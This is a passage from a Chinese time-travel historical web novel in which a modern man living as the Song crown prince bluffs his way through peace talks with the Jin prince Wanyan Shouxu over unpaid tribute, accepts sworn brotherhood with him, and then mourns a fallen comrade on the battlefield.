就在宋宇和杨妙珍有一搭没一搭的闲聊时,完颜守绪彻底暴怒了“;都给本阿哥住口。一群软蛋,光咋呼不敢冲上去为主尽忠,本阿哥就是养几条狗,也比养你们强!“
宋宇偷偷冷笑:本来你三阿哥可以在这些狗奴才一开始嚷嚷时,就制止掉,但你却选择静观其变,想借着这个机会,寻找我的软肋。看看我是否会被吓得让步。
话说你三阿哥一直在试探我的胆量,方才那些奴才兵咋呼时,我若是稍有恐惧之色,你完颜守绪就会趁机坐地起价。
哪知左等右等,本太子竟然不为所动,不光如此,就在这几乎要开打得情况下,我这大宋太子竟然寻起别人,聊的很是投入。
这下,彻底把你三阿哥搞的暴怒了,可以说,自己这个穿越而来的大宋太子的言行举止,彻底颠覆了,他完颜守绪,作为女真族这个天之骄子的人生观。
完颜守绪喝止住众奴才,心里憋闷得很:在自己的印象中,这宋国朝廷,是黑暗的,**的,颓废的,懦弱的,没有一丝活力的。
很难想象出,在这样一片贫瘠的土地,能养育出面前这位太子这样,临危不惧的真豪杰。
左右权衡之下,完颜守绪妥协了,为了身边这数万兵马,能够活着退出这场战争,给自己的大金国,多留些可战之兵,三阿哥完颜守绪,终于放下了大金国的脸面,出声制止了骚动。
只见他对着宋宇拱手说道”;大宋国太子殿下,方才是守绪言语不当,还请大宋国太子殿下,莫要放在心上。以免因为这些小事,坏了议和得大事,让今日战场上侥幸活下来的将士,还有枣阳城的一城百姓,凉了心。”
宋宇见这完颜守绪不但制止了喊叫,还拉低身份,十分恭敬的劝自己不要因小失大。
宋宇便知道,他完颜守绪,真如孟宗正所说,就是想凭着数万人马,来大宋捡便宜的。
至于死伤惨重之事,这大金国的三阿哥,肯定没算在日程之内。既然对方不再颐指气使,宋宇也懒得再与对方纠缠。
带着这个想法,宋宇同样对着完颜守绪拱手说道“:大金国三阿哥,不是本太子小肚鸡肠,不过,既然双方势均力敌,谁都吃不掉谁,又都想结束战争,那就甭玩那些个虚的,就事论事,是战是和给个痛快话。”
“:哈哈哈...宋国太子果然快人快语,既如此,守绪便先开口了。想这场旷日持久的战争起因,皆是因你大宋皇帝,私自背盟,拒绝缴纳三十万缗绢,三十万两银的岁币,我父皇才命守绪,率领正义之师,前来责罪。是故,守绪斗胆,在此想要向大宋国太子,讨要个说法。”
第九十四回 你们毁约了 要履行合约
宋宇听了完颜守绪所说,心道坏了。自己之所以在这大宋一路走来,处处得人助力,逢凶化吉。说白了,无外乎讲理两字。
正因为自己处处讲道理,才能让一群好汉心服口服跟随在自己身边。但这次,若真如完颜守绪说的,是因为大宋不遵守协议在先,恐怕还真是自己理短了。
得好好想想,历史上到底怎么记载的。好像真和完颜守绪说的**不离十。
在历史上,还真是大宋先不给钱,金国才发动战争的。而且这首先建议不给的,就是出访金国后,对北方形式做了一定了解的,自己的恩师,真德秀...
其实这真德秀,还真是好心办了坏事,大宋都给了金国几十年的孝敬了,还差这最后几年?但真德秀显然没有看到这一点,只是盲目的认为,现在是彻底断绝给金国岁币的好机会。
殊不知,金国已经被西夏蒙古折腾疯了,一听说装孙子装了快百年的宋人,竟然当起了大爷,想要赖账不给,登时举国哗然。
就在南征之前,金国一次朝堂对策,竟然破天荒的,有近九成大臣建议南征。原因很简单,大多金人都是认为,大金国比之蒙古不足,比之大宋,绰绰有余。
说白了,就是心理上的一贯优越感。认为宋国打不过自己。还别说,这金国,想的确实没错。如果北边没有蒙古西夏牵制,这金国绝对能以河南一隅,把宋国打得服服帖帖。
这点,宋宇深信不疑。为何?很简单,这一路走来,宋宇彻底的明白,为什么大宋打不过金国了。
官场糜烂奢侈享受,百姓离心离德,将士怨气冲天。前边将士送命,后边连城池马匹都卖了。就这样的国家,能踏马打赢别人才怪。
想到这里,宋宇眉头皱成了川字,目前来看,自己是摆脱不了背盟这俩字了。
只听宋宇苦笑一声“:呵呵...那,不知大金国三阿哥,想要如何说法?”
“;很简单,你大宋应当履行嘉定之议得条约,不但要将拖欠的银两,全数归还我大金国,还要继续行使条约,向我大金国缴纳岁币。只有如此行事,方能平了这天下人心,我大金国的军队,也才能全数北撤,再不踏入大宋领土半步。”只听完颜守绪得理不饶人,狮子大张口道。
宋宇见这完颜守绪,给脸不要脸,打和了,还想继续要银子,一脸厌恶的说道“:这几年拖欠的银两,本太子会在这个月内,全数交给三阿哥,不过......”
话到此处,宋宇故意拉了长音。就是要吊一吊完颜守绪胃口,看看他倒底有多希望拿到每年的岁币。
完颜守绪听这太子,同意归还这几年的银两,面上阴云一扫而空,兴奋的暗道:妙哉。这次回了朝中,皇阿玛定然会更加器重于本阿哥。嘿嘿......完颜守纯,就凭你,还想跟本阿哥斗?要兵没兵,要钱没钱,要父皇的疼爱,没疼爱的你,拿什么跟本阿哥斗?
想到此,完颜守绪心里乐开了花,但见大宋太子似乎又有些迟疑,慌忙追问道“;怎的?大宋太子有难处?”
见这完颜守绪上钩了,宋宇心中暗喜。归还银两,就是自己故意下的鱼饵,如果完颜守绪听了归还银两,脸色未变,而是等着下文,那自己就能知道,这完颜守绪胃口大得很。
但现在完颜守绪的回答,和他脸上那掩饰不住的喜色,直让宋宇顿觉松了口气,暗道:看来这大金国的小阿哥,得了这些亏欠的银两,已经有些满意了。
想到此,宋宇开始施展演技,故作痛苦状说道“;唉...不过,这继续履行嘉定和议之事,本太子却是无法应承。“
完颜守绪见说,并未轻信,反倒是一脸玩味的问道“:哦?大宋国太子有何难处?尽可讲来。“
宋宇见完颜守绪继续顺竿爬,十分投入的诉苦道“:大金国三阿哥,可知我父皇,为何会派本太子来这战场?“
“:这...守绪不知。“完颜守绪十分老实的回答道。
“:现在满朝文武,可谓群情激奋,皆言你大金国已非当年之勇,纷纷上表父皇,废除嘉定和议。所以,父皇才派了本太子,来这荆襄督战。“只见宋宇话锋一转,眼神凌厉的说道。
完颜守绪被宋宇说蒙了:诶?这大宋国,不是史弥远一人做主吗?怎的也没见他,在信中提过朝臣有什么意见?只说一切尽在掌控。
但看这大宋国太子,也不似演戏。本阿哥,到底该信谁呢?
现在,这完颜守绪有些被宋宇忽悠糊涂了。毕竟比起宋宇,这完颜守绪在精明,也是个深宫里养大的金娃娃。哪里能识破宋宇那直追碰瓷的演技?
看着面前皱眉深思得完颜守绪,宋宇心里乐开了花。知道自己的小九九得逞了。
其实宋宇,要的就是这种效果,自己提出问题,让他完颜守绪去解决,去思考。
而他宋宇,只要在心理上,诱导下完颜守绪“:实不相瞒,就在本太子出发前一天,父皇曾再三叮嘱,一定要让本太子,将这嘉定和议废除。不然。本太子怕是一时半刻,回不得临安了。“
“;啊?这...大宋国太子,不是本阿哥死板,实在是,本阿哥的皇阿玛,也是在出发前,也曾再三叮嘱,定要让你大宋,恢复以前与我大金国得岁币关系。至于伯侄之称。这点皇阿玛名言,若大宋国无法接受,可以废除。“完颜守绪见宋宇抬出了自己的父皇。猛然间也想起了自己的皇阿玛。那个死要面子,活受罪的皇阿玛,也曾在临行之前叮嘱自己此来的目的。宋宇那边是假的,但这完颜守绪所说,却是句句没有虚言。
宋宇见还有意外之喜,听这完颜守绪很实诚的来了这么一出说辞,颇感意外:呦呵?这小阿哥挺不老实啊,我这胡说一通,你愣是整出了自己皇阿玛的临行嘱托。不管是真是假,你这摆明跟本太子杠
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上了。
不行,本太子得在换一种做法,不然一时半刻拿不下他了。想到此,宋宇低头略一思索,随即抬起了头,说出了这样一句话“:既然如此,看来是谈不拢了。唉...原想了了此事,回临安享福去。看来,本太子要在这荆襄,常住下来喽。“
话说到这,宋宇表情痛苦,对完颜守绪拱了拱手”:大金国三阿哥,看来你我是谈不拢了,既然如此,不如今日且各自撤出兵马,另行开战如何?“
完颜守绪听了这太子之言,不敢置信的瞪大了双眼,痴愣愣得说道“:这,就算是谈崩了?“
“:没办法啊,你我都是受了自家父皇的死命令,不成功,便成仁。想来,这场战争,只能是其中一国彻底被灭,才能结束啊。“宋宇摇头叹息着说道。
其实宋宇这样说,并非危言耸听。这场战争,最终是以金国被灭,才画上了**。
但这是历史,宋宇既然穿越而来,又正好出现在了这里,如果不改变点什么,宋宇都不好意思,在这大宋史中,写下宋宇到此一游,这几个字。
完颜守绪听了宋宇一席话,浑身禁不住打了个冷战:哎呀?这大宋太子,说话好生吓人。
一国被灭为结束?他宋国有我大金为藩屏,蒙古过不来,肯定没事啊。可我大金国呢?四战之地,国无宁日。
本阿哥虽数次劝皇阿玛用些计策,与西夏宋国和好,但皇阿玛却是疯了般四处出击。完全听不进劝。
万般无奈之下,本阿哥才整备了这支乣军精锐,来这宋国捡便宜。本以为外有史弥远兄弟暗中相助,内有乣军之勇,不出半年,定然能让荆襄之地,改姓完颜。即使拿不下荆襄,抢掠些金银,占几座城池,也能让他宋国朝廷服软,到时乖乖得献上岁币。
皇阿玛收回些面子,肯定也不会再与宋国打下去。到时本阿哥也好回北方,率领手下精锐,收复失去的故土。
如果,这大宋太子真和本阿哥在此耗上了,这,只要他坐镇荆襄一日,以后只怕想要毫无损失的来大宋占便宜,是没可能了。
而且归根结底,本阿哥就是为了得到宋国银子,好让皇阿玛收回些面子。停止南边这场面子战争。
至于银子的多少,那都是其次了。起码在皇阿玛那里,有了银子,才有面子,有了面子,才有可能结束这场战争。
现在这宋国太子,已经答应将所欠银子归还,这四年相加,也有一百二十万两银,一百二十万缗绢。这。可不是个小数目了,足够本阿哥,在组建一支这样的军队还绰绰有余。
而且看这宋国太子,现在态度如此坚决,不似故意使诈。想来,肯定是宋国朝堂得最后底线。
我若在苦苦相逼,议和肯定破裂。想我大金国,已非昔日荣光,他宋国朝廷,岂能不知?想要继续保持与宋国得岁币关系,只能是没完没了的打斗。直至一国服软为止。
第九十五回 谈判攻心术 皆各取所需
可是,他宋国耗得起?我大金国还耗得起吗?现在看来,抢掠已然行不通,这大宋太子,摆明了就是要跟本阿哥耗在此处,如此,只能议和了。想到此,完颜守绪仰天长叹一声“:唉......凤凰落架不如鸡。”
随即满脸愁容的对着宋宇说道“:大宋太子殿下,本阿哥,愿意做出让步,免了你大宋国侄皇帝之称,与藩属关系。将你大宋国,与我大金国平等视之。并且,愿意修改嘉定和议内容,从此两国,再无岁币朝贡关系”说到这里,完颜守绪止住了话头,严肃的盯着宋宇,等待对方回答。
宋宇见这完颜守绪答应,心里也是松了口气,其实宋宇刚才来这招欲擒故纵,也是抱着弄险心理。纯粹就是他宋宇,这几天整理出来的,南宋与金国的恩怨情爱史。
首先,宋宇在心里死死认定,发动宋金战争,史弥远绝对是被动玩家。至于谁是主谋,十有**,便是自己的便宜老爹,宋宁宗。而自己的恩师真德秀,极有可能便是自己的便宜老爹,宁宗的暗中左右手。
正是在宁宗的授意下,真德秀才会是赵竑的老师,才会是这次战争得首倡者。而史弥远,肯定也权衡了各种利弊,认为自己和大金国有能力让宋国再次臣服。
经过这次荆襄之行,得到的种种证据表示,宋国对金国拒绝贡纳岁币后,史弥远便立马暗通金国,将自己的父母之国,卖了个彻底。
而这金国之所以敢三面发动战争,只怕也有史弥远的功劳。这金国皇帝,十有**,便是仗着史弥远暗中的情报与物资。才悍然对宋国兴师问罪。
历史上,第一次宋金面子战争,金国可以说,打得非常顺。前锋甚至打到江西境内。但后来由于孟宗正与忠顺军这群异类出现。彻底粉碎了金国企图拿下整个荆襄得计划。使得双方最终僵持在了枣阳一线。也正是由于孟宗正的出现,使得史弥远的盘算,也出现了一些改变。
要说这史弥远的盘算,其实更简单。就是想要保住金国对大宋的绝对霸主地位,金国地位保住了,他史弥远得腰杆子才能更硬。所以说,宋金战争,在史弥远心里,大宋方面要么就败,要么就拖。总之大宋不能打胜。如若胜了,真德秀和背后的宁宗声望提升,他史弥远只怕再无富贵享受了。
宋宇正是经过上面这些猜测,找出了每个人的利害点。才慢慢的梳理出了这场,宋金要打七年之久的面子战争,背后的秘密。
史弥远不用说了,现下最首要的,肯定是祸祸死孟宗正和忠顺军,只有这样,金国才能在荆襄站稳脚跟。
而这孟宗正,也确实死的早了些。在正史上,就是死在了一年之后。如果宋宇猜的不错,孟宗正,十有**便是被史弥远联合大金国给暗中搞掉的。
而孟宗正死后,忠顺军便顺理成章,归到了史嵩之手下,接下来,金国便对大宋,发起了第二次宋金战争,这次战争,金国由于蒙古的穷追猛打,实力弱的更加不像样子。
所以战争一开始,便和大宋军队,对峙在了一起。而之后,忠顺军逆反史嵩之,摆脱了其控制。回归在了孟珙手中。
孟珙得了这支部队,彻底扭转了宋国被动防守的局面,开始对金国实施大规模返攻。
而正是在这个时候,宋宁宗去世。宋理宗被史弥远拥立继位。史弥远有了理宗做傀儡,已经不再需要金国这个老主子了。干脆睁一只眼,闭一只眼,放手让孟珙去打了。
而当时这史嵩之的前任赵方,八成也是因为不想给史弥远做狗,出卖自己的父母之国。
才被史弥远捅了黑刀子。其后史弥远便让自己的异母兄弟史嵩之,顶替了京湖制置使的位置,暗中操持一切见不得人的勾当。
为的就是让金国打败大宋,到时宁宗软蛋了。岂不是他史弥远的幸福时光来临了?
至于忠顺军。史弥远是利用金军斩草除根,还是让自己兄弟握在手里,宋宇也懒得猜了,毕竟由于自己的出现,这孟宗正,不会死在一年后了。
理清了史弥远在宋金战争的利害关系,四个主要发动与指挥者之一的完颜守绪,宋宇也已经猜出了心思。
其实完颜守绪是宋国皇帝宁宗,宋国枢密使史弥远,金国皇帝,这四个主要战争发动与指挥者中,少有的明白人。是唯一一个,认为和宋国发生战争,就是鹬蚌相争,渔翁得利得愚蠢之举。
是唯一一个,从全局看问题得主要战争发动者之一。也只有他,宋宇才有信心,说服他结束这场战争,只要摆平了他,剩下的宁宗与金国皇帝宣宗的心思,那就简单多了,归根到底,两个皇帝都是为了面子。
金国皇帝宣宗是因为一直高高在上的低头看宋人,骨子里的瞧不起,让宣宗自以为是的认为,大宋还是那个趴在地上任人踩踏的小草。只要稍微给点压力,它就会趴在地上摇摆乞怜。
大宋宁宗更简单,宁宗的口头语证明一切“;耻于以侄礼侍之。”
只要想些计策,让他们自以为占了便宜,收了面子,两人十之**会结束这场战争。
最难缠的史弥远,其布局在襄阳的弟弟史嵩之已经被宋宇拿下。至于远在临安的史弥远,一只脚已经被赶出了这场和议的桌子。至于之后宋宇回到临安史弥远会怎么个看法,那都是以后的事了。
正是由于宋宇想了这么多,才最终决定,使出欲擒故纵之计。让这三阿哥完颜守绪,承认自己的主张。
这样,自己既为汉人与自己的便宜老爹挣回了面子,又能结束这场不知所谓的战争,何乐而不为?况且,这完颜守绪也是聪明一世,糊涂一时。他肯定没想到,自己会把史嵩之给干掉了。不光干掉了,还得了一大笔赃款,就这笔赃款,别说踏马还你大金国四年得岁币。
就是再养你大金国十年八年也不是问题。而且说不定,还你大金国的这二百多万两,便是史嵩之卖
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马,卖粮得来的。
有句话说得好,羊毛出在羊身上,只怕你大金国永远没想到,这几年荆襄征战,除了丢下一地尸体,什么都没得到吧。
现在,完颜守绪松口了,宋宇心里乐开了花,面上依旧古井无波“:好,我大宋就吃点亏,本来我们没打输,一毛钱都不能给你们,但是我大宋撕毁条约在先,本太子愿补偿大金国四年来未缴纳的岁币。如此,本殿下也能回到临安去享福了。”
完颜守绪看这大宋太子定了调调,心里暗自松了一口气:还好,没把他激怒了。麻蛋,快结束这场战争吧,本阿哥拿了钱,想来皇阿玛也会龙颜大悦。到时南线停战,只剩西夏与蒙古,若能再停战西夏,或许我大金国还有一线生机。
宋宇还真没猜错,这完颜守绪,真是个少有的明白人。只见完颜守绪听了宋宇所说,一脸认真的回答道“:既然大宋太子同意了,本阿哥这就差人写封奏章,上奏皇阿玛,让他全线撤军。从此,与你宋国和睦相处,再不互相攻讦。”
宋宇对着完颜守绪,眨了下左眼心里暗道:就完颜守绪那皇阿玛,已经卧病在床多时,政事,基本上都交给了完颜守绪得哥哥,完颜守纯。
而整个大金国的军事,又全都交给了这三阿哥完颜守绪。可以说,这兄弟俩,加起来就是皇帝的所有工作。
而老皇上金宣宗,平素就糊里糊涂地,很少干预政事,摆明了,大事他不做主,小事这俩儿子看着办。
既然现在这完颜守绪点头了,宋宇已经可以肯定,这议和之事,绝对是板上钉钉之事了。
就算到时候宣宗不同意,这小阿哥得了银钱,也没面皮再度南下“:好,本太子这也奏明父皇,嘉定和议已然取消,让父皇下令,所有兵马,全部停止征战。到时候,三阿哥再派使者,往来递交和议书便是。”
完颜守绪点点头,知道自己和这大宋太子,虽然能暂时停战,但签订和议,却是做不得主,起码要走个流程上报朝廷才合规矩。毕竟不管大宋朝堂,还是大金朝堂,势力交错,只有按照规矩办,才能堵住悠悠众口。
尤其是这宋国,对于防范武人与皇亲之事,那叫一个上心。想来这宋国太子,在朝中也没多少话语权。
虽然如此想,但这完颜守绪,却并未瞧不起面前的宋国太子,反倒是对这太子有种莫名的感觉,觉得这个人,万一哪天登上了宋国龙椅,会是一个可怕的对手。
正是这个念头,使得完颜守绪,不想彻底得罪面前的宋国太子,因为这完颜守绪,怕万一到了那天,北边的蒙古,再加上南边的宋国,将自己金国死死夹在当中。到时候自己与金国的未来,实是不容乐观啊。
想到这里,完颜守绪禁不住起了一身鸡皮疙瘩,像宋国太子这样的人物,要么就杀了,要么就结交。
杀他,现在自己已经没有这份实力了,看来,本阿哥只能结交这宋国太子。
第九十六回 突兀的结拜 宋宇犹豫了
想来这宋国太子,也不是傻瓜,知道唇亡齿寒的道理,只要蒙古不灭,他定然不会贸然对我大金国动手。
如此想着,完颜守绪一拱手,对着宋宇谦恭得说道“:大宋国太子殿下,不知,您可愿与守绪结为兄弟?“
“:啊?“宋宇看这完颜守绪憋了半天,竟然憋出这么一句话,吓了一跳”:三阿哥,莫不是说笑?“
完颜守绪听了宋宇反问,脸登时就红了。其实他也是没办法,想要对这宋国太子示好,但细一思量,他堂堂的宋国太子,要钱有钱,要女人有女人,送点什么好呢?
正苦思呢,想起了以前在书场听书之时,常听那些个说书的,提这汉人,最重什么兄弟情义。
虽然自己很是嘲笑这种**的做法。但是,这宋国太子好像很喜欢与人兄弟相称。说书的倒也不是胡编乱造。
今日看来,还真就只有此法可行了。如果能和这宋国太子结为兄弟,以后他若是坐上了宋国龙椅,我们两国,便是兄弟之国。如此,岂不妙哉?这个大胆的想法出现在完颜守绪脑海里的第一刻,完颜守绪便红了脸,说出了结拜的话语。
哪知这宋国太子,立马被自己说懵了。竟然反问自己是不是说笑?着实是让自己脸上,有些挂不住了“:咳恩...“
轻咳一声,完颜守绪尴尬的笑着继续说道”:守绪,确有此意,守绪虽是女**,但也倾慕华夏文化,遵循华夏礼仪,自认与你宋国太子,无有不同之处。况且,你我二人若是结为兄弟,两国从此便会远离刀兵之祸,如此佳话,必将传为千古美谈,你我二人何乐而不为?“
宋宇听了这完颜守绪的借口,心里百味杂陈。心道:方才还是你死我活的敌人,伯侄之国得耻辱,贡纳岁币的昂杂事。
现在,却陡然来了个三百六十度大转弯。这自认天之骄子的大金国三阿哥。准皇位的继承人。竟然要与我宋宇,结为兄弟!!!
这...传出去只怕海内沸腾啊。
话说这可是自己来到这个时代,第一次重大的决定。
要知道,宋国老百姓,可是恨**金人,要是自己现在同意结拜了,无异于是站在了天下百姓的对立面,让天下百姓寒心。
想到此,宋宇朝着左右看了看,打算征求下孟宗正等人的意见。哪知旁边孟宗正等人也是一脸愕然。全都呆愣愣得看着自己,此时四道目光相交,皆是尴尬无比“:几位,你们说,本太子是答应,还是拒绝呢?”宋宇开口询问道。
“:这,殿下,此事还需您自己做主。毕竟,这是殿下您得私事。我等不方便插嘴。”孟宗正手抚胡须,连连推脱。
得,看来这几个人,压根是没办法。索性打太极般,将眼前难题给回了自己。
眼见众人犯难,宋宇有些后悔把余阶那个大嘴巴,扔在襄阳守城了。要是他在这,肯定会给自己提出一堆的建议。唉!没文化,真可怕啊。
那边完颜守绪,见宋国太子紧皱眉头,似是十分为难,并没有出声打扰,就这么静静地等待回答。
毕竟完颜守绪心里清楚,除了史弥远那样的玩应,估计是个宋国人,都恨**女**。
国仇家恨之下,这宋国太子如此犹豫,也是情有可原。而且完颜守绪越是见这宋国太子犹豫,越觉得宋国太子靠谱,不是个随随便便给人胡乱许诺之人,只要双方关系确定,这样的人,是最靠得住的。
至于史弥远,完颜守绪一直觉得很不靠谱,这就是逐利之辈,在别人心中的位置,永远被放在最差的行列,被人看扁,被人不信任。
而且别看这些人站在台上时风光无限,朋羽遍天下,可一旦倒台,以前那些相好的不相好的,全都会上来踩两脚。
因为他们没有立场,有钱什么都肯干。完颜守绪又不傻,怎么会把他视作真正的盟友,傻傻的认为他史弥远会一直对大金国效忠呢?指不定哪天来个更强的蒙古,随便贿赂点财帛美女,这史弥远,就又改了主子了。
就在两方人马屏息静听之时。从金军身后,闪出了一个头缠紫巾,身着白领蓝袍得儒雅文士。只见这儒雅文士面色惆怅,疾步快走来到了完颜守绪身旁“;奴才,见过三阿哥。“
“:张先生,你不在后方防守大营方向敌人,却来此作甚?“完颜守绪见了此人,吃惊的问道。
这人便是一直给完颜守绪出谋划策的张行信,无官无职,只是因为完颜守绪爱他的文才,留在身边参谋机要罢了。
而且他还是完颜守绪部队中,唯一一个汉人。
张行信见完颜守绪质问自己,也不惊恐,不急不慢的答道“:无妨,方才被三阿哥呵斥回去得讹可将军,足以胜任防守职责。而且,奴才想来看看,今日能将三阿哥,逼到如此境地的大宋太子,究竟是何等样人?“
言罢,张行信转过头去,仔细打量起了对面身穿金铠,被一群人簇拥在正中得宋宇。
不看还好,这一看之下,张行信眼中,又不自觉的闪出了几滴晶莹的泪珠。
慌乱的擦拭了下泪痕,张行信才对着宋宇说道“;大宋太子殿下,我大金国三阿哥,一片好意,想要与你结拜,你却为何要犹豫如此之久?莫不是瞧不起我大金国?“
宋宇刚才一直在烧脑细胞,可烧了半天,也没做出最后决定,毕竟,这关系到自己,和整个宋国百姓的仇金情绪。
现在听到对面张行信质问,蓦然的抬起了头,看到喊话得那人,乃是汉人文士打扮,(这点要说清楚,金国实行**,并未让汉人剃发,可以说是不幸中的万幸。因此,汉人和女**,很好区分。)顿感亲切,温柔的笑着问道“:不知阁下,何以称呼?“
张行信听到这宋国太子语气如此客气,非但没有开心,反倒泪水止不住的流了下来。
想要遮掩,却终是黄河之水,一泻千里:唉...今
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日我张行信真是出丑了。
早知道,便不来看这父母之国的太子了。想我们这些被父母之国,硬生生抛弃的子民,就像是那有娘生,没娘养得野孩子。
而现在,看到自己父母之国的皇室,就像是看到自己失散多年的亲生父母般,实在是控制不住自己的泪水啊。
就这样,这张行信边哭,边擦泪,边强颜微笑着向周围众人道歉“:万分抱歉,方才,方才路上,被风沙吹进了眼里,此时才会泪流不止,让诸位见笑了。“
周围众人见他如此解释,这才松了一口气。尤其是身旁的三阿哥完颜守绪,刚才被张行信这突如其来的一幕,吓了一跳,以为这张行信,犯了臆症呢。
见他说是风沙,这才长出一口气,对着旁边人吩咐道“:去,帮本阿哥,招来军中郎中,速速给张先生诊治。“
吩咐完,又对着张行信嗔怪道”;张先生,被风沙迷了眼睛,也不早些说,吓本阿哥一跳。你若有个好歹,本阿哥岂不自责一辈子?“
张行信看着一脸嗔怪得三阿哥完颜守绪,心里暖暖的,忙吱吱呜呜几声,应付了过去。
搞定了嘘寒问暖的三阿哥,张行信转过脸,继续对着宋宇说道“;在下张行信,现为白身,蒙三阿哥不弃,留在身边养做了闲人。平素没有什么本事,只懂些行军布阵的浅薄技俩,和察言观色的粗笨眼光。帮三阿哥处理些棘手不决之事。”
张行信说到这,笑着静等宋国太子回话,他却哪里知道,这完颜守绪虽被自己三言两语糊弄过去,大宋太子却没被应付过去。
只见宋宇正一只手揉着下巴,一脸玩味得看着张行信出神:这个人,倒是有些意思。不过,风沙迷眼这种小儿科,骗得过他完颜守绪,可骗不过我宋宇。
这张行信,明显是听到自己声音之后,才一时失控得。难道,自己的声音真的很有磁性?不但能吸引女人,连男人也不放过了?
宋宇一通胡思乱想,也没想出个所以然,干脆将烧得滚烫的脑子熄了火。开口说道“:张先生,不是本太子,瞧不起你家三阿哥,实在是,你女**一向看不起我汉人,认为我汉人多如猪狗,贱如蝼蚁。这,想必三阿哥不否认吧?而现在,你女**口口声声要与本太子结拜,这...本太子只怕,配不上你大金国的三阿哥,才是事实啊。“
宋宇这番话,虽然说时不带感情,语调颇为平稳。但传入周围众人的耳朵里,却如耳边擂鼓,振聋发聩。
尤其是张行信与完颜守绪。脸上一阵红一阵白,也不知是气的,还是臊得?
许久,两人才恢复了面色“;张先生,这?看来今日想要结交这位太子,是不太可能了。“
张行信见说,却是摇摇头“:奴才觉得,这宋国太子,之所以说出这番话,就说明结拜之事有得谈,奴才认为,宋国太子就是想敲打下三阿哥,看看三阿哥是否诚心结拜。”
第九十七回 真心要结拜 张行信的心
“:哦?张先生,此话怎讲?”完颜守绪本来一脸失望,但听了张行信话语,顿觉眼前一亮。
张行信见三阿哥十分想要与这大宋太子结拜,心里十分高兴,其实张行信之所以将后方交给板子讹可,亲自前来看大宋太子。
是因为张行信有私心。不过这个私心,可与史弥远等人不同。这张行信要的,不是钱财,不是权位,更不是美女。张行信想要的,是名声。
因为张行信认为,只要让宋金两国太子,结为异族兄弟。他们这些被抛弃在北方,无奈效忠金人得汉臣,就不用被后世子孙唾骂成**投金的汉奸。
只有这样,他张行信死后,才有脸去见自己的列祖列宗。
正是因为这个十分微妙的想法作祟,张行信才极力想要促成此事。
只见这张行信,当着面前两军将士的面,附耳对着完颜守绪开始窃窃私语。
完颜守绪听完张行信这段密语,眉头紧皱,面有难色的问道“:这,是否太过丢面子?想我完颜守绪,好歹也是大金国的阿哥。如此做,是否太过?”
张行信却哈哈大笑出声“:三阿哥,对面那人,又何尝不是大宋国的太子?再者,只要三阿哥你与这宋国太子结为兄弟,想必咱们此次停战后,宋国定然不会再寻隙报复。到时,全军北上,只待三阿哥养精蓄锐数年,尽可与蒙古人决战。”
一句话,彻底说到了完颜守绪心坎里。只见完颜守绪拍了拍身上的灰尘,恭敬的对着宋宇一拱手“:大宋太子殿下,我完颜守绪,在此代表所有女**,给你汉人赔礼道歉了。希望你能冰释前嫌,与我完颜守绪结为异族兄弟,今后两国,共扶共助,再无争端,以礼示之,岂不美哉?”语毕,完颜守绪恭恭敬敬的,对着宋宇行了个低头礼。
宋宇看着完颜守绪这番作为,叹了口气“;其他的,都无所谓,我赵竑,只想你完颜守绪,记得以礼相待这四个字便好。莫要以为脑后多了条发辫,便比别人高了一等。便能做人的叔叔伯伯。”
张行信听完宋宇之言,一拍大腿“:妙哉,宋金之间,长达百十年的争端,今日看来能化解了。”
宋宇听了张行信的狂言,心中暗笑:化解?想的也太美了。北方领土不复,就没化解之说。
现在,我宋宇之所以和你金国三阿哥结拜,就是缓兵之计。如此想着,宋宇冷冰冰的说道“:张先生,希望你金人,能够适可而止,看清现在真正的敌人,到底是谁?不要再一通闭眼瞎打了,须知,万一把周围各族打急眼了,联合起来,恐怕死光你女真全族,都不足以削各族之恨!”
语毕,宋宇立刻换回了不怒不喜的面孔“:不过,在蒙古被击败之前,只要你金国不主动挑衅,我赵竑是不会对你大金国有想法的,这点,希望三阿哥,能牢记在心。”
完颜守绪听完宋国太子一席话,摇头笑了笑“:守绪多谢大宋太子提醒,既然大宋太子同意,那我二人,便在此处结拜吧。”
言罢,对着身旁的军士吩咐了几句。只带着张行信与几个护卫,来到宋宇这边。
距离这东西,永远不能被人忽略。就像这宋宇与完颜守绪,方才隔着一段距离面对面谈话,双方还都是把对方当作敌人。
而现在完颜守绪主动出现在了宋宇面前。宋宇忽然觉得,这完颜守绪人还是蛮不错的。
起码,他对自己这个方才还打得要死要活的敌人,很是信任。不然也不会主动走过来接近自己了。
其实宋宇对历史上的完颜守绪印象还可以,这人除了好色,少谋略之外,其他一切都符合皇帝的标准。
说句大白话,想要和一个人交朋友,你得先看看他身边其他朋友都是什么人。
这完颜守绪身边,多是女真底层出身,凭本领得到完颜守绪信任。如完颜陈和尚,完颜合达。基本都是老实忠厚之人,没什么花花肠子。
就冲这些实在人,他完颜守绪,作为一国之君已经合格了“;多谢守绪兄弟,对我赵竑的信任。既然如此,不如将双方仍在征战的军队叫停,你我入枣阳结拜如何?”宋宇提醒完颜守绪道。
完颜守绪听了宋宇之言,笑着点了点头,与宋宇分别对着下边吩咐了几句。这些人得了命令,小跑着传达停战命令去了,完颜守绪这才转过头“:宋国太子,哦不,赵竑兄弟,请前面带路。“
宋宇却并未急着邀请完颜守绪入城“:守绪兄弟,还请稍等片刻。竑这里还有点私事。“
言罢,宋宇面露哀伤神色,独自一人向着西边走去。
身后完颜守绪和孟宗政等人虽然不知道宋宇葫芦里卖的什么药,却也是紧紧相随。
不多时,宋宇来到方才激战的主战场。就见此时夕阳低垂,半截身子已经没入了天边。余辉斜照在战场上,
战场上满是人马驴的尸体,鲜血汇成的河流早已干涸凝固,血腥气飘荡在空气中,偶有几只乌鸦被血腥气吸引飞来,停在战场上的死尸身体上,传来几声悲鸣。
宋宇静静的看着眼前一幕,直到目光停留在一处,紧走两步上前,一把拉起了江海那枯**冷的手臂”:凭君莫话封侯事,古来征战几人回?”
孟宗政待看清尸体模样之时,眼眶中竟有泪光闪动,紧走两步,来到江海尸体前“:老伙计,想不到你死在了我这把老骨头前边。”
言罢,孟宗政已经老泪横流“:想当初你我二十郎当岁,日日跟在岳元帅麾下杀贼!岳元帅常说,冻死不拆屋,饿死不抢粮,正是岳元帅这句话,支撑着你我走到了今天。想不到天不随人愿,明君已现,你却先走一步......”
宋宇听到孟宗政提明君两字时,心里一咯噔:明君?我算个球的明君?只不过是底层蝼蚁,意外穿越,为了保命拉你们这些忠君爱国之人拉来当垫背的罢了。哪受得起明君两字?
想到这里,宋宇擦了擦泪水,一把拉起江海那冰冷僵硬的尸体,抗在了背上“:老兄弟,你帮我扛旗,我帮
